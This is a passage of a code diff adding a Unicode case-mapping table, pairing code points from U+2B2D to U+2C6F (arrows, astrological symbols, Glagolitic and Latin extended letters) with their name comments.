+ ["\u2B2D", "\u2B2D"], /* WHITE HORIZONTAL ELLIPSE */
+ ["\u2B2E", "\u2B2E"], /* BLACK VERTICAL ELLIPSE */
+ ["\u2B2F", "\u2B2F"], /* WHITE VERTICAL ELLIPSE */
+ ["\u2B30", "\u2B30"], /* LEFT ARROW WITH SMALL CIRCLE */
+ ["\u2B31", "\u2B31"], /* THREE LEFTWARDS ARROWS */
+ ["\u2B32", "\u2B32"], /* LEFT ARROW WITH CIRCLED PLUS */
+ ["\u2B33", "\u2B33"], /* LONG LEFTWARDS SQUIGGLE ARROW */
+ ["\u2B34", "\u2B34"], /* LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ ["\u2B35", "\u2B35"], /* LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u2B36", "\u2B36"], /* LEFTWARDS TWO-HEADED ARROW FROM BAR */
+ ["\u2B37", "\u2B37"], /* LEFTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ ["\u2B38", "\u2B38"], /* LEFTWARDS ARROW WITH DOTTED STEM */
+ ["\u2B39", "\u2B39"], /* LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2B3A", "\u2B3A"], /* LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2B3B", "\u2B3B"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL */
+ ["\u2B3C", "\u2B3C"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2B3D", "\u2B3D"], /* LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2B3E", "\u2B3E"], /* LEFTWARDS ARROW THROUGH X */
+ ["\u2B3F", "\u2B3F"], /* WAVE ARROW POINTING DIRECTLY LEFT */
+ ["\u2B40", "\u2B40"], /* EQUALS SIGN ABOVE LEFTWARDS ARROW */
+ ["\u2B41", "\u2B41"], /* REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ ["\u2B42", "\u2B42"], /* LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ ["\u2B43", "\u2B43"], /* RIGHTWARDS ARROW THROUGH GREATER-THAN */
+ ["\u2B44", "\u2B44"], /* RIGHTWARDS ARROW THROUGH SUPERSET */
+ ["\u2B45", "\u2B45"], /* LEFTWARDS QUADRUPLE ARROW */
+ ["\u2B46", "\u2B46"], /* RIGHTWARDS QUADRUPLE ARROW */
+ ["\u2B47", "\u2B47"], /* REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ ["\u2B48", "\u2B48"], /* RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO */
+ ["\u2B49", "\u2B49"], /* TILDE OPERATOR ABOVE LEFTWARDS ARROW */
+ ["\u2B4A", "\u2B4A"], /* LEFTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ ["\u2B4B", "\u2B4B"], /* LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ ["\u2B4C", "\u2B4C"], /* RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR */
+ ["\u2B4D", "\u2B4D"], /* DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW */
+ ["\u2B4E", "\u2B4E"], /* SHORT SLANTED NORTH ARROW */
+ ["\u2B4F", "\u2B4F"], /* SHORT BACKSLANTED SOUTH ARROW */
+ ["\u2B50", "\u2B50"], /* WHITE MEDIUM STAR */
+ ["\u2B51", "\u2B51"], /* BLACK SMALL STAR */
+ ["\u2B52", "\u2B52"], /* WHITE SMALL STAR */
+ ["\u2B53", "\u2B53"], /* BLACK RIGHT-POINTING PENTAGON */
+ ["\u2B54", "\u2B54"], /* WHITE RIGHT-POINTING PENTAGON */
+ ["\u2B55", "\u2B55"], /* HEAVY LARGE CIRCLE */
+ ["\u2B56", "\u2B56"], /* HEAVY OVAL WITH OVAL INSIDE */
+ ["\u2B57", "\u2B57"], /* HEAVY CIRCLE WITH CIRCLE INSIDE */
+ ["\u2B58", "\u2B58"], /* HEAVY CIRCLE */
+ ["\u2B59", "\u2B59"], /* HEAVY CIRCLED SALTIRE */
+ ["\u2B5A", "\u2B5A"], /* SLANTED NORTH ARROW WITH HOOKED HEAD */
+ ["\u2B5B", "\u2B5B"], /* BACKSLANTED SOUTH ARROW WITH HOOKED TAIL */
+ ["\u2B5C", "\u2B5C"], /* SLANTED NORTH ARROW WITH HORIZONTAL TAIL */
+ ["\u2B5D", "\u2B5D"], /* BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL */
+ ["\u2B5E", "\u2B5E"], /* BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ ["\u2B5F", "\u2B5F"], /* SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST */
+ ["\u2B60", "\u2B60"], /* LEFTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B61", "\u2B61"], /* UPWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B62", "\u2B62"], /* RIGHTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B63", "\u2B63"], /* DOWNWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B64", "\u2B64"], /* LEFT RIGHT TRIANGLE-HEADED ARROW */
+ ["\u2B65", "\u2B65"], /* UP DOWN TRIANGLE-HEADED ARROW */
+ ["\u2B66", "\u2B66"], /* NORTH WEST TRIANGLE-HEADED ARROW */
+ ["\u2B67", "\u2B67"], /* NORTH EAST TRIANGLE-HEADED ARROW */
+ ["\u2B68", "\u2B68"], /* SOUTH EAST TRIANGLE-HEADED ARROW */
+ ["\u2B69", "\u2B69"], /* SOUTH WEST TRIANGLE-HEADED ARROW */
+ ["\u2B6A", "\u2B6A"], /* LEFTWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6B", "\u2B6B"], /* UPWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6C", "\u2B6C"], /* RIGHTWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6D", "\u2B6D"], /* DOWNWARDS TRIANGLE-HEADED DASHED ARROW */
+ ["\u2B6E", "\u2B6E"], /* CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ ["\u2B6F", "\u2B6F"], /* ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW */
+ ["\u2B70", "\u2B70"], /* LEFTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B71", "\u2B71"], /* UPWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B72", "\u2B72"], /* RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B73", "\u2B73"], /* DOWNWARDS TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B74", "\u2B74"],
+ ["\u2B75", "\u2B75"],
+ ["\u2B76", "\u2B76"], /* NORTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B77", "\u2B77"], /* NORTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B78", "\u2B78"], /* SOUTH EAST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B79", "\u2B79"], /* SOUTH WEST TRIANGLE-HEADED ARROW TO BAR */
+ ["\u2B7A", "\u2B7A"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7B", "\u2B7B"], /* UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7C", "\u2B7C"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7D", "\u2B7D"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE */
+ ["\u2B7E", "\u2B7E"], /* HORIZONTAL TAB KEY */
+ ["\u2B7F", "\u2B7F"], /* VERTICAL TAB KEY */
+ ["\u2B80", "\u2B80"], /* LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B81", "\u2B81"], /* UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B82", "\u2B82"], /* RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B83", "\u2B83"], /* DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW */
+ ["\u2B84", "\u2B84"], /* LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B85", "\u2B85"], /* UPWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B86", "\u2B86"], /* RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B87", "\u2B87"], /* DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS */
+ ["\u2B88", "\u2B88"], /* LEFTWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B89", "\u2B89"], /* UPWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8A", "\u2B8A"], /* RIGHTWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8B", "\u2B8B"], /* DOWNWARDS BLACK CIRCLED WHITE ARROW */
+ ["\u2B8C", "\u2B8C"], /* ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW */
+ ["\u2B8D", "\u2B8D"], /* ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW */
+ ["\u2B8E", "\u2B8E"], /* ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW */
+ ["\u2B8F", "\u2B8F"], /* ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW */
+ ["\u2B90", "\u2B90"], /* RETURN LEFT */
+ ["\u2B91", "\u2B91"], /* RETURN RIGHT */
+ ["\u2B92", "\u2B92"], /* NEWLINE LEFT */
+ ["\u2B93", "\u2B93"], /* NEWLINE RIGHT */
+ ["\u2B94", "\u2B94"], /* FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE */
+ ["\u2B95", "\u2B95"], /* RIGHTWARDS BLACK ARROW */
+ ["\u2B96", "\u2B96"],
+ ["\u2B97", "\u2B97"], /* SYMBOL FOR TYPE A ELECTRONICS */
+ ["\u2B98", "\u2B98"], /* THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B99", "\u2B99"], /* THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9A", "\u2B9A"], /* THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9B", "\u2B9B"], /* THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9C", "\u2B9C"], /* BLACK LEFTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9D", "\u2B9D"], /* BLACK UPWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9E", "\u2B9E"], /* BLACK RIGHTWARDS EQUILATERAL ARROWHEAD */
+ ["\u2B9F", "\u2B9F"], /* BLACK DOWNWARDS EQUILATERAL ARROWHEAD */
+ ["\u2BA0", "\u2BA0"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ ["\u2BA1", "\u2BA1"], /* DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ ["\u2BA2", "\u2BA2"], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS */
+ ["\u2BA3", "\u2BA3"], /* UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS */
+ ["\u2BA4", "\u2BA4"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ ["\u2BA5", "\u2BA5"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS */
+ ["\u2BA6", "\u2BA6"], /* LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ ["\u2BA7", "\u2BA7"], /* RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS */
+ ["\u2BA8", "\u2BA8"], /* BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW */
+ ["\u2BA9", "\u2BA9"], /* BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW */
+ ["\u2BAA", "\u2BAA"], /* BLACK CURVED UPWARDS AND LEFTWARDS ARROW */
+ ["\u2BAB", "\u2BAB"], /* BLACK CURVED UPWARDS AND RIGHTWARDS ARROW */
+ ["\u2BAC", "\u2BAC"], /* BLACK CURVED LEFTWARDS AND UPWARDS ARROW */
+ ["\u2BAD", "\u2BAD"], /* BLACK CURVED RIGHTWARDS AND UPWARDS ARROW */
+ ["\u2BAE", "\u2BAE"], /* BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW */
+ ["\u2BAF", "\u2BAF"], /* BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW */
+ ["\u2BB0", "\u2BB0"], /* RIBBON ARROW DOWN LEFT */
+ ["\u2BB1", "\u2BB1"], /* RIBBON ARROW DOWN RIGHT */
+ ["\u2BB2", "\u2BB2"], /* RIBBON ARROW UP LEFT */
+ ["\u2BB3", "\u2BB3"], /* RIBBON ARROW UP RIGHT */
+ ["\u2BB4", "\u2BB4"], /* RIBBON ARROW LEFT UP */
+ ["\u2BB5", "\u2BB5"], /* RIBBON ARROW RIGHT UP */
+ ["\u2BB6", "\u2BB6"], /* RIBBON ARROW LEFT DOWN */
+ ["\u2BB7", "\u2BB7"], /* RIBBON ARROW RIGHT DOWN */
+ ["\u2BB8", "\u2BB8"], /* UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR */
+ ["\u2BB9", "\u2BB9"], /* UP ARROWHEAD IN A RECTANGLE BOX */
+ ["\u2BBA", "\u2BBA"], /* OVERLAPPING WHITE SQUARES */
+ ["\u2BBB", "\u2BBB"], /* OVERLAPPING WHITE AND BLACK SQUARES */
+ ["\u2BBC", "\u2BBC"], /* OVERLAPPING BLACK SQUARES */
+ ["\u2BBD", "\u2BBD"], /* BALLOT BOX WITH LIGHT X */
+ ["\u2BBE", "\u2BBE"], /* CIRCLED X */
+ ["\u2BBF", "\u2BBF"], /* CIRCLED BOLD X */
+ ["\u2BC0", "\u2BC0"], /* BLACK SQUARE CENTRED */
+ ["\u2BC1", "\u2BC1"], /* BLACK DIAMOND CENTRED */
+ ["\u2BC2", "\u2BC2"], /* TURNED BLACK PENTAGON */
+ ["\u2BC3", "\u2BC3"], /* HORIZONTAL BLACK OCTAGON */
+ ["\u2BC4", "\u2BC4"], /* BLACK OCTAGON */
+ ["\u2BC5", "\u2BC5"], /* BLACK MEDIUM UP-POINTING TRIANGLE CENTRED */
+ ["\u2BC6", "\u2BC6"], /* BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED */
+ ["\u2BC7", "\u2BC7"], /* BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED */
+ ["\u2BC8", "\u2BC8"], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED */
+ ["\u2BC9", "\u2BC9"], /* NEPTUNE FORM TWO */
+ ["\u2BCA", "\u2BCA"], /* TOP HALF BLACK CIRCLE */
+ ["\u2BCB", "\u2BCB"], /* BOTTOM HALF BLACK CIRCLE */
+ ["\u2BCC", "\u2BCC"], /* LIGHT FOUR POINTED BLACK CUSP */
+ ["\u2BCD", "\u2BCD"], /* ROTATED LIGHT FOUR POINTED BLACK CUSP */
+ ["\u2BCE", "\u2BCE"], /* WHITE FOUR POINTED CUSP */
+ ["\u2BCF", "\u2BCF"], /* ROTATED WHITE FOUR POINTED CUSP */
+ ["\u2BD0", "\u2BD0"], /* SQUARE POSITION INDICATOR */
+ ["\u2BD1", "\u2BD1"], /* UNCERTAINTY SIGN */
+ ["\u2BD2", "\u2BD2"], /* GROUP MARK */
+ ["\u2BD3", "\u2BD3"], /* PLUTO FORM TWO */
+ ["\u2BD4", "\u2BD4"], /* PLUTO FORM THREE */
+ ["\u2BD5", "\u2BD5"], /* PLUTO FORM FOUR */
+ ["\u2BD6", "\u2BD6"], /* PLUTO FORM FIVE */
+ ["\u2BD7", "\u2BD7"], /* TRANSPLUTO */
+ ["\u2BD8", "\u2BD8"], /* PROSERPINA */
+ ["\u2BD9", "\u2BD9"], /* ASTRAEA */
+ ["\u2BDA", "\u2BDA"], /* HYGIEA */
+ ["\u2BDB", "\u2BDB"], /* PHOLUS */
+ ["\u2BDC", "\u2BDC"], /* NESSUS */
+ ["\u2BDD", "\u2BDD"], /* WHITE MOON SELENA */
+ ["\u2BDE", "\u2BDE"], /* BLACK DIAMOND ON CROSS */
+ ["\u2BDF", "\u2BDF"], /* TRUE LIGHT MOON ARTA */
+ ["\u2BE0", "\u2BE0"], /* CUPIDO */
+ ["\u2BE1", "\u2BE1"], /* HADES */
+ ["\u2BE2", "\u2BE2"], /* ZEUS */
+ ["\u2BE3", "\u2BE3"], /* KRONOS */
+ ["\u2BE4", "\u2BE4"], /* APOLLON */
+ ["\u2BE5", "\u2BE5"], /* ADMETOS */
+ ["\u2BE6", "\u2BE6"], /* VULCANUS */
+ ["\u2BE7", "\u2BE7"], /* POSEIDON */
+ ["\u2BE8", "\u2BE8"], /* LEFT HALF BLACK STAR */
+ ["\u2BE9", "\u2BE9"], /* RIGHT HALF BLACK STAR */
+ ["\u2BEA", "\u2BEA"], /* STAR WITH LEFT HALF BLACK */
+ ["\u2BEB", "\u2BEB"], /* STAR WITH RIGHT HALF BLACK */
+ ["\u2BEC", "\u2BEC"], /* LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BED", "\u2BED"], /* UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BEE", "\u2BEE"], /* RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BEF", "\u2BEF"], /* DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ ["\u2BF0", "\u2BF0"], /* ERIS FORM ONE */
+ ["\u2BF1", "\u2BF1"], /* ERIS FORM TWO */
+ ["\u2BF2", "\u2BF2"], /* SEDNA */
+ ["\u2BF3", "\u2BF3"], /* RUSSIAN ASTROLOGICAL SYMBOL VIGINTILE */
+ ["\u2BF4", "\u2BF4"], /* RUSSIAN ASTROLOGICAL SYMBOL NOVILE */
+ ["\u2BF5", "\u2BF5"], /* RUSSIAN ASTROLOGICAL SYMBOL QUINTILE */
+ ["\u2BF6", "\u2BF6"], /* RUSSIAN ASTROLOGICAL SYMBOL BINOVILE */
+ ["\u2BF7", "\u2BF7"], /* RUSSIAN ASTROLOGICAL SYMBOL SENTAGON */
+ ["\u2BF8", "\u2BF8"], /* RUSSIAN ASTROLOGICAL SYMBOL TREDECILE */
+ ["\u2BF9", "\u2BF9"], /* EQUALS SIGN WITH INFINITY BELOW */
+ ["\u2BFA", "\u2BFA"], /* UNITED SYMBOL */
+ ["\u2BFB", "\u2BFB"], /* SEPARATED SYMBOL */
+ ["\u2BFC", "\u2BFC"], /* DOUBLED SYMBOL */
+ ["\u2BFD", "\u2BFD"], /* PASSED SYMBOL */
+ ["\u2BFE", "\u2BFE"], /* REVERSED RIGHT ANGLE */
+ ["\u2BFF", "\u2BFF"], /* HELLSCHREIBER PAUSE SYMBOL */
+ ["\u2C00", "\u2C30"], /* GLAGOLITIC CAPITAL LETTER AZU */
+ ["\u2C01", "\u2C31"], /* GLAGOLITIC CAPITAL LETTER BUKY */
+ ["\u2C02", "\u2C32"], /* GLAGOLITIC CAPITAL LETTER VEDE */
+ ["\u2C03", "\u2C33"], /* GLAGOLITIC CAPITAL LETTER GLAGOLI */
+ ["\u2C04", "\u2C34"], /* GLAGOLITIC CAPITAL LETTER DOBRO */
+ ["\u2C05", "\u2C35"], /* GLAGOLITIC CAPITAL LETTER YESTU */
+ ["\u2C06", "\u2C36"], /* GLAGOLITIC CAPITAL LETTER ZHIVETE */
+ ["\u2C07", "\u2C37"], /* GLAGOLITIC CAPITAL LETTER DZELO */
+ ["\u2C08", "\u2C38"], /* GLAGOLITIC CAPITAL LETTER ZEMLJA */
+ ["\u2C09", "\u2C39"], /* GLAGOLITIC CAPITAL LETTER IZHE */
+ ["\u2C0A", "\u2C3A"], /* GLAGOLITIC CAPITAL LETTER INITIAL IZHE */
+ ["\u2C0B", "\u2C3B"], /* GLAGOLITIC CAPITAL LETTER I */
+ ["\u2C0C", "\u2C3C"], /* GLAGOLITIC CAPITAL LETTER DJERVI */
+ ["\u2C0D", "\u2C3D"], /* GLAGOLITIC CAPITAL LETTER KAKO */
+ ["\u2C0E", "\u2C3E"], /* GLAGOLITIC CAPITAL LETTER LJUDIJE */
+ ["\u2C0F", "\u2C3F"], /* GLAGOLITIC CAPITAL LETTER MYSLITE */
+ ["\u2C10", "\u2C40"], /* GLAGOLITIC CAPITAL LETTER NASHI */
+ ["\u2C11", "\u2C41"], /* GLAGOLITIC CAPITAL LETTER ONU */
+ ["\u2C12", "\u2C42"], /* GLAGOLITIC CAPITAL LETTER POKOJI */
+ ["\u2C13", "\u2C43"], /* GLAGOLITIC CAPITAL LETTER RITSI */
+ ["\u2C14", "\u2C44"], /* GLAGOLITIC CAPITAL LETTER SLOVO */
+ ["\u2C15", "\u2C45"], /* GLAGOLITIC CAPITAL LETTER TVRIDO */
+ ["\u2C16", "\u2C46"], /* GLAGOLITIC CAPITAL LETTER UKU */
+ ["\u2C17", "\u2C47"], /* GLAGOLITIC CAPITAL LETTER FRITU */
+ ["\u2C18", "\u2C48"], /* GLAGOLITIC CAPITAL LETTER HERU */
+ ["\u2C19", "\u2C49"], /* GLAGOLITIC CAPITAL LETTER OTU */
+ ["\u2C1A", "\u2C4A"], /* GLAGOLITIC CAPITAL LETTER PE */
+ ["\u2C1B", "\u2C4B"], /* GLAGOLITIC CAPITAL LETTER SHTA */
+ ["\u2C1C", "\u2C4C"], /* GLAGOLITIC CAPITAL LETTER TSI */
+ ["\u2C1D", "\u2C4D"], /* GLAGOLITIC CAPITAL LETTER CHRIVI */
+ ["\u2C1E", "\u2C4E"], /* GLAGOLITIC CAPITAL LETTER SHA */
+ ["\u2C1F", "\u2C4F"], /* GLAGOLITIC CAPITAL LETTER YERU */
+ ["\u2C20", "\u2C50"], /* GLAGOLITIC CAPITAL LETTER YERI */
+ ["\u2C21", "\u2C51"], /* GLAGOLITIC CAPITAL LETTER YATI */
+ ["\u2C22", "\u2C52"], /* GLAGOLITIC CAPITAL LETTER SPIDERY HA */
+ ["\u2C23", "\u2C53"], /* GLAGOLITIC CAPITAL LETTER YU */
+ ["\u2C24", "\u2C54"], /* GLAGOLITIC CAPITAL LETTER SMALL YUS */
+ ["\u2C25", "\u2C55"], /* GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL */
+ ["\u2C26", "\u2C56"], /* GLAGOLITIC CAPITAL LETTER YO */
+ ["\u2C27", "\u2C57"], /* GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS */
+ ["\u2C28", "\u2C58"], /* GLAGOLITIC CAPITAL LETTER BIG YUS */
+ ["\u2C29", "\u2C59"], /* GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS */
+ ["\u2C2A", "\u2C5A"], /* GLAGOLITIC CAPITAL LETTER FITA */
+ ["\u2C2B", "\u2C5B"], /* GLAGOLITIC CAPITAL LETTER IZHITSA */
+ ["\u2C2C", "\u2C5C"], /* GLAGOLITIC CAPITAL LETTER SHTAPIC */
+ ["\u2C2D", "\u2C5D"], /* GLAGOLITIC CAPITAL LETTER TROKUTASTI A */
+ ["\u2C2E", "\u2C5E"], /* GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE */
+ ["\u2C2F", "\u2C2F"],
+ ["\u2C00", "\u2C30"], /* GLAGOLITIC SMALL LETTER AZU */
+ ["\u2C01", "\u2C31"], /* GLAGOLITIC SMALL LETTER BUKY */
+ ["\u2C02", "\u2C32"], /* GLAGOLITIC SMALL LETTER VEDE */
+ ["\u2C03", "\u2C33"], /* GLAGOLITIC SMALL LETTER GLAGOLI */
+ ["\u2C04", "\u2C34"], /* GLAGOLITIC SMALL LETTER DOBRO */
+ ["\u2C05", "\u2C35"], /* GLAGOLITIC SMALL LETTER YESTU */
+ ["\u2C06", "\u2C36"], /* GLAGOLITIC SMALL LETTER ZHIVETE */
+ ["\u2C07", "\u2C37"], /* GLAGOLITIC SMALL LETTER DZELO */
+ ["\u2C08", "\u2C38"], /* GLAGOLITIC SMALL LETTER ZEMLJA */
+ ["\u2C09", "\u2C39"], /* GLAGOLITIC SMALL LETTER IZHE */
+ ["\u2C0A", "\u2C3A"], /* GLAGOLITIC SMALL LETTER INITIAL IZHE */
+ ["\u2C0B", "\u2C3B"], /* GLAGOLITIC SMALL LETTER I */
+ ["\u2C0C", "\u2C3C"], /* GLAGOLITIC SMALL LETTER DJERVI */
+ ["\u2C0D", "\u2C3D"], /* GLAGOLITIC SMALL LETTER KAKO */
+ ["\u2C0E", "\u2C3E"], /* GLAGOLITIC SMALL LETTER LJUDIJE */
+ ["\u2C0F", "\u2C3F"], /* GLAGOLITIC SMALL LETTER MYSLITE */
+ ["\u2C10", "\u2C40"], /* GLAGOLITIC SMALL LETTER NASHI */
+ ["\u2C11", "\u2C41"], /* GLAGOLITIC SMALL LETTER ONU */
+ ["\u2C12", "\u2C42"], /* GLAGOLITIC SMALL LETTER POKOJI */
+ ["\u2C13", "\u2C43"], /* GLAGOLITIC SMALL LETTER RITSI */
+ ["\u2C14", "\u2C44"], /* GLAGOLITIC SMALL LETTER SLOVO */
+ ["\u2C15", "\u2C45"], /* GLAGOLITIC SMALL LETTER TVRIDO */
+ ["\u2C16", "\u2C46"], /* GLAGOLITIC SMALL LETTER UKU */
+ ["\u2C17", "\u2C47"], /* GLAGOLITIC SMALL LETTER FRITU */
+ ["\u2C18", "\u2C48"], /* GLAGOLITIC SMALL LETTER HERU */
+ ["\u2C19", "\u2C49"], /* GLAGOLITIC SMALL LETTER OTU */
+ ["\u2C1A", "\u2C4A"], /* GLAGOLITIC SMALL LETTER PE */
+ ["\u2C1B", "\u2C4B"], /* GLAGOLITIC SMALL LETTER SHTA */
+ ["\u2C1C", "\u2C4C"], /* GLAGOLITIC SMALL LETTER TSI */
+ ["\u2C1D", "\u2C4D"], /* GLAGOLITIC SMALL LETTER CHRIVI */
+ ["\u2C1E", "\u2C4E"], /* GLAGOLITIC SMALL LETTER SHA */
+ ["\u2C1F", "\u2C4F"], /* GLAGOLITIC SMALL LETTER YERU */
+ ["\u2C20", "\u2C50"], /* GLAGOLITIC SMALL LETTER YERI */
+ ["\u2C21", "\u2C51"], /* GLAGOLITIC SMALL LETTER YATI */
+ ["\u2C22", "\u2C52"], /* GLAGOLITIC SMALL LETTER SPIDERY HA */
+ ["\u2C23", "\u2C53"], /* GLAGOLITIC SMALL LETTER YU */
+ ["\u2C24", "\u2C54"], /* GLAGOLITIC SMALL LETTER SMALL YUS */
+ ["\u2C25", "\u2C55"], /* GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL */
+ ["\u2C26", "\u2C56"], /* GLAGOLITIC SMALL LETTER YO */
+ ["\u2C27", "\u2C57"], /* GLAGOLITIC SMALL LETTER IOTATED SMALL YUS */
+ ["\u2C28", "\u2C58"], /* GLAGOLITIC SMALL LETTER BIG YUS */
+ ["\u2C29", "\u2C59"], /* GLAGOLITIC SMALL LETTER IOTATED BIG YUS */
+ ["\u2C2A", "\u2C5A"], /* GLAGOLITIC SMALL LETTER FITA */
+ ["\u2C2B", "\u2C5B"], /* GLAGOLITIC SMALL LETTER IZHITSA */
+ ["\u2C2C", "\u2C5C"], /* GLAGOLITIC SMALL LETTER SHTAPIC */
+ ["\u2C2D", "\u2C5D"], /* GLAGOLITIC SMALL LETTER TROKUTASTI A */
+ ["\u2C2E", "\u2C5E"], /* GLAGOLITIC SMALL LETTER LATINATE MYSLITE */
+ ["\u2C5F", "\u2C5F"],
+ ["\u2C60", "\u2C61"], /* LATIN CAPITAL LETTER L WITH DOUBLE BAR */
+ ["\u2C60", "\u2C61"], /* LATIN SMALL LETTER L WITH DOUBLE BAR */
+ ["\u2C62", "\u026B"], /* LATIN CAPITAL LETTER L WITH MIDDLE TILDE */
+ ["\u2C63", "\u1D7D"], /* LATIN CAPITAL LETTER P WITH STROKE */
+ ["\u2C64", "\u027D"], /* LATIN CAPITAL LETTER R WITH TAIL */
+ ["\u023A", "\u2C65"], /* LATIN SMALL LETTER A WITH STROKE */
+ ["\u023E", "\u2C66"], /* LATIN SMALL LETTER T WITH DIAGONAL STROKE */
+ ["\u2C67", "\u2C68"], /* LATIN CAPITAL LETTER H WITH DESCENDER */
+ ["\u2C67", "\u2C68"], /* LATIN SMALL LETTER H WITH DESCENDER */
+ ["\u2C69", "\u2C6A"], /* LATIN CAPITAL LETTER K WITH DESCENDER */
+ ["\u2C69", "\u2C6A"], /* LATIN SMALL LETTER K WITH DESCENDER */
+ ["\u2C6B", "\u2C6C"], /* LATIN CAPITAL LETTER Z WITH DESCENDER */
+ ["\u2C6B", "\u2C6C"], /* LATIN SMALL LETTER Z WITH DESCENDER */
+ ["\u2C6D", "\u0251"], /* LATIN CAPITAL LETTER ALPHA */
+ ["\u2C6E", "\u0271"], /* LATIN CAPITAL LETTER M WITH HOOK */
+ ["\u2C6F", "\u0250"], /* LATIN CAPITAL LETTER TURNED A */
